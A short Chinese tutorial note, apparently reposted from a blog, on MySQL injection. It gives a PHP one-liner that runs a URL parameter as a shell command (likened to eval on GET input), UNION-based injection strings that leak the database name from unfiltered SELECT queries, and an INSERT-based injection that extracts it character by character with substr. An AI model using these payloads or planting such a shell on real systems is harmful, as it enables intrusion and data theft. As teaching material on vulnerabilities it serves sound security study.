注:添加数据时可以同 ` 这个符号(ESC下面一个的按键)表明这是个字段,是MySQL的转义符,如: insert into user value (`juzi`,`20`) ;用于包含数据库名、表名、字段名,避免与其他关键字冲突;
小技巧:<?php $test=$_GET[‘zxc‘]; echo `$test`; ?> 这句话等效于 <?php eval($_GET[‘zxc‘]); ?> 这句话就是使用 ` 这个反勾号达到的效果;
写个 查找数据 时的注入漏洞吧;
举栗:
若原查询语句为: select username from user where id=‘$id‘ 或为 select * from user where username=‘$username‘&passwd=‘$passwd‘ 其中 $id、$username、$passwdd 是 通过浏览器 接收过来的变量,即可控变量;(假设没做过滤)
那么构造语句为:
$id = 0‘ union select 1,database(),‘3
$username = 0‘ union select 1,database(),3#
$passwd = 不写也行
select username from user where id=‘0‘ union select 1,database(),‘3‘ 以及 select * from user where username=‘0‘ union select 1,database(),3# ‘&passwd=‘‘ 井号后面不解析,注释了
那么再举个栗子:
通过 insert into 增加数据 构造注入;
insert into table_name value(‘1‘,‘2‘,‘3‘...) 1,2,3为前端浏览器输入的内容,即可控制;
构造语句:insert into table_name value(‘1‘,‘0‘+substr((select database()) from 1 for 1)+‘0‘,‘3‘) 必要时,可以在 substr 外面加个 ASCII()进行转码;为什么这么写,上篇unfinish有提到;
原文:https://www.cnblogs.com/hackhackgo/p/13521506.html